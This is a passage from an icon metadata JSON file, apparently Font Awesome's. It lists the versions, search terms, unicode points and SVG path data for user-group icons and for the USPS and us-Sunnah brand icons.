        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 24C0 10.7 10.7 0 24 0H616c13.3 0 24 10.7 24 24s-10.7 24-24 24H24C10.7 48 0 37.3 0 24zM0 488c0-13.3 10.7-24 24-24H616c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24zM83.2 160a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM32 320c0-35.3 28.7-64 64-64h96c12.2 0 23.7 3.4 33.4 9.4c-37.2 15.1-65.6 47.2-75.8 86.6H64c-17.7 0-32-14.3-32-32zm461.6 32c-10.3-40.1-39.6-72.6-77.7-87.4c9.4-5.5 20.4-8.6 32.1-8.6h96c35.3 0 64 28.7 64 64c0 17.7-14.3 32-32 32H493.6zM391.2 290.4c32.1 7.4 58.1 30.9 68.9 61.6c3.5 10 5.5 20.8 5.5 32c0 17.7-14.3 32-32 32h-224c-17.7 0-32-14.3-32-32c0-11.2 1.9-22 5.5-32c10.5-29.7 35.3-52.8 66.1-60.9c7.8-2.1 16-3.1 24.5-3.1h96c7.4 0 14.7 .8 21.6 2.4zm44-130.4a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM321.6 96a80 80 0 1 1 0 160 80 80 0 1 1 0-160z"
      }
    },
    "free": ["solid"]
  },
  "users-gear": {
    "aliases": {
      "names": ["users-cog"],
      "unicodes": {
        "secondary": ["10f509"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f509",
    "label": "Users Gear",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767619,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M144 160A80 80 0 1 0 144 0a80 80 0 1 0 0 160zm368 0A80 80 0 1 0 512 0a80 80 0 1 0 0 160zM0 298.7C0 310.4 9.6 320 21.3 320H234.7c.2 0 .4 0 .7 0c-26.6-23.5-43.3-57.8-43.3-96c0-7.6 .7-15 1.9-22.3c-13.6-6.3-28.7-9.7-44.6-9.7H106.7C47.8 192 0 239.8 0 298.7zM320 320c24 0 45.9-8.8 62.7-23.3c2.5-3.7 5.2-7.3 8-10.7c2.7-3.3 5.7-6.1 9-8.3C410 262.3 416 243.9 416 224c0-53-43-96-96-96s-96 43-96 96s43 96 96 96zm65.4 60.2c-10.3-5.9-18.1-16.2-20.8-28.2H261.3C187.7 352 128 411.7 128 485.3c0 14.7 11.9 26.7 26.7 26.7H455.2c-2.1-5.2-3.2-10.9-3.2-16.4v-3c-1.3-.7-2.7-1.5-4-2.3l-2.6 1.5c-16.8 9.7-40.5 8-54.7-9.7c-4.5-5.6-8.6-11.5-12.4-17.6l-.1-.2-.1-.2-2.4-4.1-.1-.2-.1-.2c-3.4-6.2-6.4-12.6-9-19.3c-8.2-21.2 2.2-42.6 19-52.3l2.7-1.5c0-.8 0-1.5 0-2.3s0-1.5 0-2.3l-2.7-1.5zM533.3 192H490.7c-15.9 0-31 3.5-44.6 9.7c1.3 7.2 1.9 14.7 1.9 22.3c0 17.4-3.5 33.9-9.7 49c2.5 .9 4.9 2 7.1 3.3l2.6 1.5c1.3-.8 2.6-1.6 4-2.3v-3c0-19.4 13.3-39.1 35.8-42.6c7.9-1.2 16-1.9 24.2-1.9s16.3 .6 24.2 1.9c22.5 3.5 35.8 23.2 35.8 42.6v3c1.3 .7 2.7 1.5 4 2.3l2.6-1.5c16.8-9.7 40.5-8 54.7 9.7c2.3 2.8 4.5 5.8 6.6 8.7c-2.1-57.1-49-102.7-106.6-102.7zm91.3 163.9c6.3-3.6 9.5-11.1 6.8-18c-2.1-5.5-4.6-10.8-7.4-15.9l-2.3-4c-3.1-5.1-6.5-9.9-10.2-14.5c-4.6-5.7-12.7-6.7-19-3L574.4 311c-8.9-7.6-19.1-13.6-30.4-17.6v-21c0-7.3-4.9-13.8-12.1-14.9c-6.5-1-13.1-1.5-19.9-1.5s-13.4 .5-19.9 1.5c-7.2 1.1-12.1 7.6-12.1 14.9v21c-11.2 4-21.5 10-30.4 17.6l-18.2-10.5c-6.3-3.6-14.4-2.6-19 3c-3.7 4.6-7.1 9.5-10.2 14.6l-2.3 3.9c-2.8 5.1-5.3 10.4-7.4 15.9c-2.6 6.8 .5 14.3 6.8 17.9l18.2 10.5c-1 5.7-1.6 11.6-1.6 17.6s.6 11.9 1.6 17.5l-18.2 10.5c-6.3 3.6-9.5 11.1-6.8 17.9c2.1 5.5 4.6 10.7 7.4 15.8l2.4 4.1c3 5.1 6.4 9.9 10.1 14.5c4.6 5.7 12.7 6.7 19 3L449.6 457c8.9 7.6 19.2 13.6 30.4 17.6v21c0 7.3 4.9 13.8 12.1 14.9c6.5 1 13.1 1.5 19.9 1.5s13.4-.5 19.9-1.5c7.2-1.1 12.1-7.6 12.1-14.9v-21c11.2-4 21.5-10 30.4-17.6l18.2 10.5c6.3 3.6 14.4 2.6 19-3c3.7-4.6 7.1-9.4 10.1-14.5l2.4-4.2c2.8-5.1 5.3-10.3 7.4-15.8c2.6-6.8-.5-14.3-6.8-17.9l-18.2-10.5c1-5.7 1.6-11.6 1.6-17.5s-.6-11.9-1.6-17.6l18.2-10.5zM472 384a40 40 0 1 1 80 0 40 40 0 1 1 -80 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M144 160A80 80 0 1 0 144 0a80 80 0 1 0 0 160zm368 0A80 80 0 1 0 512 0a80 80 0 1 0 0 160zM0 298.7C0 310.4 9.6 320 21.3 320H234.7c.2 0 .4 0 .7 0c-26.6-23.5-43.3-57.8-43.3-96c0-7.6 .7-15 1.9-22.3c-13.6-6.3-28.7-9.7-44.6-9.7H106.7C47.8 192 0 239.8 0 298.7zM320 320c24 0 45.9-8.8 62.7-23.3c2.5-3.7 5.2-7.3 8-10.7c2.7-3.3 5.7-6.1 9-8.3C410 262.3 416 243.9 416 224c0-53-43-96-96-96s-96 43-96 96s43 96 96 96zm65.4 60.2c-10.3-5.9-18.1-16.2-20.8-28.2H261.3C187.7 352 128 411.7 128 485.3c0 14.7 11.9 26.7 26.7 26.7H455.2c-2.1-5.2-3.2-10.9-3.2-16.4v-3c-1.3-.7-2.7-1.5-4-2.3l-2.6 1.5c-16.8 9.7-40.5 8-54.7-9.7c-4.5-5.6-8.6-11.5-12.4-17.6l-.1-.2-.1-.2-2.4-4.1-.1-.2-.1-.2c-3.4-6.2-6.4-12.6-9-19.3c-8.2-21.2 2.2-42.6 19-52.3l2.7-1.5c0-.8 0-1.5 0-2.3s0-1.5 0-2.3l-2.7-1.5zM533.3 192H490.7c-15.9 0-31 3.5-44.6 9.7c1.3 7.2 1.9 14.7 1.9 22.3c0 17.4-3.5 33.9-9.7 49c2.5 .9 4.9 2 7.1 3.3l2.6 1.5c1.3-.8 2.6-1.6 4-2.3v-3c0-19.4 13.3-39.1 35.8-42.6c7.9-1.2 16-1.9 24.2-1.9s16.3 .6 24.2 1.9c22.5 3.5 35.8 23.2 35.8 42.6v3c1.3 .7 2.7 1.5 4 2.3l2.6-1.5c16.8-9.7 40.5-8 54.7 9.7c2.3 2.8 4.5 5.8 6.6 8.7c-2.1-57.1-49-102.7-106.6-102.7zm91.3 163.9c6.3-3.6 9.5-11.1 6.8-18c-2.1-5.5-4.6-10.8-7.4-15.9l-2.3-4c-3.1-5.1-6.5-9.9-10.2-14.5c-4.6-5.7-12.7-6.7-19-3L574.4 311c-8.9-7.6-19.1-13.6-30.4-17.6v-21c0-7.3-4.9-13.8-12.1-14.9c-6.5-1-13.1-1.5-19.9-1.5s-13.4 .5-19.9 1.5c-7.2 1.1-12.1 7.6-12.1 14.9v21c-11.2 4-21.5 10-30.4 17.6l-18.2-10.5c-6.3-3.6-14.4-2.6-19 3c-3.7 4.6-7.1 9.5-10.2 14.6l-2.3 3.9c-2.8 5.1-5.3 10.4-7.4 15.9c-2.6 6.8 .5 14.3 6.8 17.9l18.2 10.5c-1 5.7-1.6 11.6-1.6 17.6s.6 11.9 1.6 17.5l-18.2 10.5c-6.3 3.6-9.5 11.1-6.8 17.9c2.1 5.5 4.6 10.7 7.4 15.8l2.4 4.1c3 5.1 6.4 9.9 10.1 14.5c4.6 5.7 12.7 6.7 19 3L449.6 457c8.9 7.6 19.2 13.6 30.4 17.6v21c0 7.3 4.9 13.8 12.1 14.9c6.5 1 13.1 1.5 19.9 1.5s13.4-.5 19.9-1.5c7.2-1.1 12.1-7.6 12.1-14.9v-21c11.2-4 21.5-10 30.4-17.6l18.2 10.5c6.3 3.6 14.4 2.6 19-3c3.7-4.6 7.1-9.4 10.1-14.5l2.4-4.2c2.8-5.1 5.3-10.3 7.4-15.8c2.6-6.8-.5-14.3-6.8-17.9l-18.2-10.5c1-5.7 1.6-11.6 1.6-17.5s-.6-11.9-1.6-17.6l18.2-10.5zM472 384a40 40 0 1 1 80 0 40 40 0 1 1 -80 0z"
      }
    },
    "free": ["solid"]
  },
  "users-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["group", "need", "people"]
    },
    "styles": ["solid"],
    "unicode": "e592",
    "label": "Users Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M211.2 96a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zM32 256c0 17.7 14.3 32 32 32h85.6c10.1-39.4 38.6-71.5 75.8-86.6c-9.7-6-21.2-9.4-33.4-9.4H96c-35.3 0-64 28.7-64 64zm461.6 32H576c17.7 0 32-14.3 32-32c0-35.3-28.7-64-64-64H448c-11.7 0-22.7 3.1-32.1 8.6c38.1 14.8 67.4 47.3 77.7 87.4zM391.2 226.4c-6.9-1.6-14.2-2.4-21.6-2.4h-96c-8.5 0-16.7 1.1-24.5 3.1c-30.8 8.1-55.6 31.1-66.1 60.9c-3.5 10-5.5 20.8-5.5 32c0 17.7 14.3 32 32 32h224c17.7 0 32-14.3 32-32c0-11.2-1.9-22-5.5-32c-10.8-30.7-36.8-54.2-68.9-61.6zM563.2 96a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zM321.6 192a80 80 0 1 0 0-160 80 80 0 1 0 0 160zM32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M211.2 96a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zM32 256c0 17.7 14.3 32 32 32h85.6c10.1-39.4 38.6-71.5 75.8-86.6c-9.7-6-21.2-9.4-33.4-9.4H96c-35.3 0-64 28.7-64 64zm461.6 32H576c17.7 0 32-14.3 32-32c0-35.3-28.7-64-64-64H448c-11.7 0-22.7 3.1-32.1 8.6c38.1 14.8 67.4 47.3 77.7 87.4zM391.2 226.4c-6.9-1.6-14.2-2.4-21.6-2.4h-96c-8.5 0-16.7 1.1-24.5 3.1c-30.8 8.1-55.6 31.1-66.1 60.9c-3.5 10-5.5 20.8-5.5 32c0 17.7 14.3 32 32 32h224c17.7 0 32-14.3 32-32c0-11.2-1.9-22-5.5-32c-10.8-30.7-36.8-54.2-68.9-61.6zM563.2 96a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zM321.6 192a80 80 0 1 0 0-160 80 80 0 1 0 0 160zM32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z"
      }
    },
    "free": ["solid"]
  },
  "users-rays": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "focused", "group", "people"]
    },
    "styles": ["solid"],
    "unicode": "e593",
    "label": "Users Rays",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M41 7C31.6-2.3 16.4-2.3 7 7S-2.3 31.6 7 41l72 72c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L41 7zM599 7L527 79c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l72-72c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0zM7 505c9.4 9.4 24.6 9.4 33.9 0l72-72c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L7 471c-9.4 9.4-9.4 24.6 0 33.9zm592 0c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-72-72c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l72 72zM320 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM212.1 336c-2.7 7.5-4.1 15.6-4.1 24c0 13.3 10.7 24 24 24H408c13.3 0 24-10.7 24-24c0-8.4-1.4-16.5-4.1-24c-.5-1.4-1-2.7-1.6-4c-9.4-22.3-29.8-38.9-54.3-43c-3.9-.7-7.9-1-12-1H280c-4.1 0-8.1 .3-12 1c-.8 .1-1.7 .3-2.5 .5c-24.9 5.1-45.1 23-53.4 46.5zM175.8 224a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-26.5 32C119.9 256 96 279.9 96 309.3c0 14.7 11.9 26.7 26.7 26.7h56.1c8-34.1 32.8-61.7 65.2-73.6c-7.5-4.1-16.2-6.4-25.3-6.4H149.3zm368 80c14.7 0 26.7-11.9 26.7-26.7c0-29.5-23.9-53.3-53.3-53.3H421.3c-9.2 0-17.8 2.3-25.3 6.4c32.4 11.9 57.2 39.5 65.2 73.6h56.1zM464 224a48 48 0 1 0 0-96 48 48 0 1 0 0 96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M41 7C31.6-2.3 16.4-2.3 7 7S-2.3 31.6 7 41l72 72c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L41 7zM599 7L527 79c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l72-72c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0zM7 505c9.4 9.4 24.6 9.4 33.9 0l72-72c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L7 471c-9.4 9.4-9.4 24.6 0 33.9zm592 0c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-72-72c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l72 72zM320 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM212.1 336c-2.7 7.5-4.1 15.6-4.1 24c0 13.3 10.7 24 24 24H408c13.3 0 24-10.7 24-24c0-8.4-1.4-16.5-4.1-24c-.5-1.4-1-2.7-1.6-4c-9.4-22.3-29.8-38.9-54.3-43c-3.9-.7-7.9-1-12-1H280c-4.1 0-8.1 .3-12 1c-.8 .1-1.7 .3-2.5 .5c-24.9 5.1-45.1 23-53.4 46.5zM175.8 224a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-26.5 32C119.9 256 96 279.9 96 309.3c0 14.7 11.9 26.7 26.7 26.7h56.1c8-34.1 32.8-61.7 65.2-73.6c-7.5-4.1-16.2-6.4-25.3-6.4H149.3zm368 80c14.7 0 26.7-11.9 26.7-26.7c0-29.5-23.9-53.3-53.3-53.3H421.3c-9.2 0-17.8 2.3-25.3 6.4c32.4 11.9 57.2 39.5 65.2 73.6h56.1zM464 224a48 48 0 1 0 0-96 48 48 0 1 0 0 96z"
      }
    },
    "free": ["solid"]
  },
  "users-rectangle": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["focus", "group", "people", "reached"]
    },
    "styles": ["solid"],
    "unicode": "e594",
    "label": "Users Rectangle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 0C43 0 0 43 0 96V416c0 53 43 96 96 96H544c53 0 96-43 96-96V96c0-53-43-96-96-96H96zM64 96c0-17.7 14.3-32 32-32H544c17.7 0 32 14.3 32 32V416c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V96zm159.8 80a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM96 309.3c0 14.7 11.9 26.7 26.7 26.7h56.1c8-34.1 32.8-61.7 65.2-73.6c-7.5-4.1-16.2-6.4-25.3-6.4H149.3C119.9 256 96 279.9 96 309.3zM461.2 336h56.1c14.7 0 26.7-11.9 26.7-26.7c0-29.5-23.9-53.3-53.3-53.3H421.3c-9.2 0-17.8 2.3-25.3 6.4c32.4 11.9 57.2 39.5 65.2 73.6zM372 289c-3.9-.7-7.9-1-12-1H280c-4.1 0-8.1 .3-12 1c-26 4.4-47.3 22.7-55.9 47c-2.7 7.5-4.1 15.6-4.1 24c0 13.3 10.7 24 24 24H408c13.3 0 24-10.7 24-24c0-8.4-1.4-16.5-4.1-24c-8.6-24.3-29.9-42.6-55.9-47zM512 176a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM320 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 0C43 0 0 43 0 96V416c0 53 43 96 96 96H544c53 0 96-43 96-96V96c0-53-43-96-96-96H96zM64 96c0-17.7 14.3-32 32-32H544c17.7 0 32 14.3 32 32V416c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V96zm159.8 80a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM96 309.3c0 14.7 11.9 26.7 26.7 26.7h56.1c8-34.1 32.8-61.7 65.2-73.6c-7.5-4.1-16.2-6.4-25.3-6.4H149.3C119.9 256 96 279.9 96 309.3zM461.2 336h56.1c14.7 0 26.7-11.9 26.7-26.7c0-29.5-23.9-53.3-53.3-53.3H421.3c-9.2 0-17.8 2.3-25.3 6.4c32.4 11.9 57.2 39.5 65.2 73.6zM372 289c-3.9-.7-7.9-1-12-1H280c-4.1 0-8.1 .3-12 1c-26 4.4-47.3 22.7-55.9 47c-2.7 7.5-4.1 15.6-4.1 24c0 13.3 10.7 24 24 24H408c13.3 0 24-10.7 24-24c0-8.4-1.4-16.5-4.1-24c-8.6-24.3-29.9-42.6-55.9-47zM512 176a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM320 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128z"
      }
    },
    "free": ["solid"]
  },
  "users-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e073"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "e073",
    "label": "Users Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L440.6 320H618.7c11.8 0 21.3-9.6 21.3-21.3C640 239.8 592.2 192 533.3 192H490.7c-15.9 0-31 3.5-44.6 9.7c1.3 7.2 1.9 14.7 1.9 22.3c0 30.2-10.5 58-28 79.9l-25.2-19.7C408.1 267.7 416 246.8 416 224c0-53-43-96-96-96c-31.1 0-58.7 14.8-76.3 37.7l-40.6-31.8c13-14.2 20.9-33.1 20.9-53.9c0-44.2-35.8-80-80-80C116.3 0 91.9 14.1 77.5 35.5L38.8 5.1zM106.7 192C47.8 192 0 239.8 0 298.7C0 310.4 9.6 320 21.3 320H234.7c.2 0 .4 0 .7 0c-20.6-18.2-35.2-42.8-40.8-70.8L121.8 192H106.7zM261.3 352C187.7 352 128 411.7 128 485.3c0 14.7 11.9 26.7 26.7 26.7H485.3c10.5 0 19.5-6 23.9-14.8L324.9 352H261.3zM512 160A80 80 0 1 0 512 0a80 80 0 1 0 0 160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L440.6 320H618.7c11.8 0 21.3-9.6 21.3-21.3C640 239.8 592.2 192 533.3 192H490.7c-15.9 0-31 3.5-44.6 9.7c1.3 7.2 1.9 14.7 1.9 22.3c0 30.2-10.5 58-28 79.9l-25.2-19.7C408.1 267.7 416 246.8 416 224c0-53-43-96-96-96c-31.1 0-58.7 14.8-76.3 37.7l-40.6-31.8c13-14.2 20.9-33.1 20.9-53.9c0-44.2-35.8-80-80-80C116.3 0 91.9 14.1 77.5 35.5L38.8 5.1zM106.7 192C47.8 192 0 239.8 0 298.7C0 310.4 9.6 320 21.3 320H234.7c.2 0 .4 0 .7 0c-20.6-18.2-35.2-42.8-40.8-70.8L121.8 192H106.7zM261.3 352C187.7 352 128 411.7 128 485.3c0 14.7 11.9 26.7 26.7 26.7H485.3c10.5 0 19.5-6 23.9-14.8L324.9 352H261.3zM512 160A80 80 0 1 0 512 0a80 80 0 1 0 0 160z"
      }
    },
    "free": ["solid"]
  },
  "users-viewfinder": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["focus", "group", "people", "targeted"]
    },
    "styles": ["solid"],
    "unicode": "e595",
    "label": "Users Viewfinder",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 48h88c13.3 0 24-10.7 24-24s-10.7-24-24-24H32C14.3 0 0 14.3 0 32V136c0 13.3 10.7 24 24 24s24-10.7 24-24V48zM175.8 224a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-26.5 32C119.9 256 96 279.9 96 309.3c0 14.7 11.9 26.7 26.7 26.7h56.1c8-34.1 32.8-61.7 65.2-73.6c-7.5-4.1-16.2-6.4-25.3-6.4H149.3zm368 80c14.7 0 26.7-11.9 26.7-26.7c0-29.5-23.9-53.3-53.3-53.3H421.3c-9.2 0-17.8 2.3-25.3 6.4c32.4 11.9 57.2 39.5 65.2 73.6h56.1zm-89.4 0c-8.6-24.3-29.9-42.6-55.9-47c-3.9-.7-7.9-1-12-1H280c-4.1 0-8.1 .3-12 1c-26 4.4-47.3 22.7-55.9 47c-2.7 7.5-4.1 15.6-4.1 24c0 13.3 10.7 24 24 24H408c13.3 0 24-10.7 24-24c0-8.4-1.4-16.5-4.1-24zM464 224a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-80-32a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zM504 48h88v88c0 13.3 10.7 24 24 24s24-10.7 24-24V32c0-17.7-14.3-32-32-32H504c-13.3 0-24 10.7-24 24s10.7 24 24 24zM48 464V376c0-13.3-10.7-24-24-24s-24 10.7-24 24V480c0 17.7 14.3 32 32 32H136c13.3 0 24-10.7 24-24s-10.7-24-24-24H48zm456 0c-13.3 0-24 10.7-24 24s10.7 24 24 24H608c17.7 0 32-14.3 32-32V376c0-13.3-10.7-24-24-24s-24 10.7-24 24v88H504z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 48h88c13.3 0 24-10.7 24-24s-10.7-24-24-24H32C14.3 0 0 14.3 0 32V136c0 13.3 10.7 24 24 24s24-10.7 24-24V48zM175.8 224a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-26.5 32C119.9 256 96 279.9 96 309.3c0 14.7 11.9 26.7 26.7 26.7h56.1c8-34.1 32.8-61.7 65.2-73.6c-7.5-4.1-16.2-6.4-25.3-6.4H149.3zm368 80c14.7 0 26.7-11.9 26.7-26.7c0-29.5-23.9-53.3-53.3-53.3H421.3c-9.2 0-17.8 2.3-25.3 6.4c32.4 11.9 57.2 39.5 65.2 73.6h56.1zm-89.4 0c-8.6-24.3-29.9-42.6-55.9-47c-3.9-.7-7.9-1-12-1H280c-4.1 0-8.1 .3-12 1c-26 4.4-47.3 22.7-55.9 47c-2.7 7.5-4.1 15.6-4.1 24c0 13.3 10.7 24 24 24H408c13.3 0 24-10.7 24-24c0-8.4-1.4-16.5-4.1-24zM464 224a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-80-32a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zM504 48h88v88c0 13.3 10.7 24 24 24s24-10.7 24-24V32c0-17.7-14.3-32-32-32H504c-13.3 0-24 10.7-24 24s10.7 24 24 24zM48 464V376c0-13.3-10.7-24-24-24s-24 10.7-24 24V480c0 17.7 14.3 32 32 32H136c13.3 0 24-10.7 24-24s-10.7-24-24-24H48zm456 0c-13.3 0-24 10.7-24 24s10.7 24 24 24H608c17.7 0 32-14.3 32-32V376c0-13.3-10.7-24-24-24s-24 10.7-24 24v88H504z"
      }
    },
    "free": ["solid"]
  },
  "usps": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": ["american", "package", "shipping", "usa"]
    },
    "styles": ["brands"],
    "unicode": "f7e1",
    "label": "United States Postal Service",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M460.3 241.7c25.8-41.3 15.2-48.8-11.7-48.8h-27c-.1 0-1.5-1.4-10.9 8-11.2 5.6-37.9 6.3-37.9 8.7 0 4.5 70.3-3.1 88.1 0 9.5 1.5-1.5 20.4-4.4 32-.5 4.5 2.4 2.3 3.8.1zm-112.1 22.6c64-21.3 97.3-23.9 102-26.2 4.4-2.9-4.4-6.6-26.2-5.8-51.7 2.2-137.6 37.1-172.6 53.9l-30.7-93.3h196.6c-2.7-28.2-152.9-22.6-337.9-22.6L27 415.8c196.4-97.3 258.9-130.3 321.2-151.5zM94.7 96c253.3 53.7 330 65.7 332.1 85.2 36.4 0 45.9 0 52.4 6.6 21.1 19.7-14.6 67.7-14.6 67.7-4.4 2.9-406.4 160.2-406.4 160.2h423.1L549 96z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M460.3 241.7c25.8-41.3 15.2-48.8-11.7-48.8h-27c-.1 0-1.5-1.4-10.9 8-11.2 5.6-37.9 6.3-37.9 8.7 0 4.5 70.3-3.1 88.1 0 9.5 1.5-1.5 20.4-4.4 32-.5 4.5 2.4 2.3 3.8.1zm-112.1 22.6c64-21.3 97.3-23.9 102-26.2 4.4-2.9-4.4-6.6-26.2-5.8-51.7 2.2-137.6 37.1-172.6 53.9l-30.7-93.3h196.6c-2.7-28.2-152.9-22.6-337.9-22.6L27 415.8c196.4-97.3 258.9-130.3 321.2-151.5zM94.7 96c253.3 53.7 330 65.7 332.1 85.2 36.4 0 45.9 0 52.4 6.6 21.1 19.7-14.6 67.7-14.6 67.7-4.4 2.9-406.4 160.2-406.4 160.2h423.1L549 96z"
      }
    },
    "free": ["brands"]
  },
  "ussunnah": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f407",
    "label": "us-Sunnah Foundation",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1677678764,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 482 512\"><path d=\"M481.9 268.1A240.9 240.9 0 1 1 .1 268a240.9 240.9 0 1 1 481.9 0zM24.5 268a216.5 216.5 0 1 0 432.9 0A216.5 216.5 0 1 0 24.5 268zm385.9 63.3c-12.7 0-21.6-1.9-26.7-5.9c-5.5-4.3-8.2-12.3-8.2-23.8V205.1c0-6.5-5.2-20.2-15.7-41.2c7 0 17-9.1 30-27.2V284.5c0 11 2.4 19.4 7 25.3c3.7 4.7 10.1 8.9 19 12.6c1.2 .4 2.6 .9 4.1 1.4c2.9 .9 6.3 2.1 10.3 3.5c-1.8 2.7-8.3 4-19.9 4zm-219 0c-1.3 2.4-3.6 5.5-6.8 9.4l-18.5 22.5c-1-6.1-4-13-9.3-20.6s-9.7-11.4-13.4-11.4h-8.3H53.6c3.3-5.3 4.9-8.8 4.9-10.8c0-2-.8-5.3-2.4-9.7c-1.5-4.4-2.4-8.5-2.4-12.4c0-7.4 2.1-13.9 6.3-19.3L80 253.4l-7.1-17.7L89 215.9l6.7 16.8 8-10.3c-1.8 6.4-2.6 12.3-2.6 17.7c0 4.2 2.8 13.3 8.3 27.3l16.2 40.7H135h8 .3c2.8 .4 7.7 5 14.6 13.9c1.8 2.4 4.3 5.8 7.7 10.2c1.4 1.9 2.9 3.9 4.6 6.1c1.3-2.3 2-4.6 2-7.1c0-2-1.3-6.6-4-13.4L163 304.1c-4-10.6-6.1-17.7-6.1-21.3c0-6.3 1.9-12.3 5.8-17.9c.5-.6 1-1.3 1.5-1.9c4.4-5.6 8.8-11.1 13.3-16.5c-1.1 4.6-1.7 8.7-1.7 12c0 3.7 1.7 9.9 5.1 18.8l7.9 20.4c1.9 4.7 3 8.2 3.7 10.3h17.6 8.3l-.9-2.6c-1.4-3.9-4-7-7.7-9.3l15.6-20.1 12.3 32h13.4L245 292.2c-1.5-3.9-4-7-7.7-9.3L253 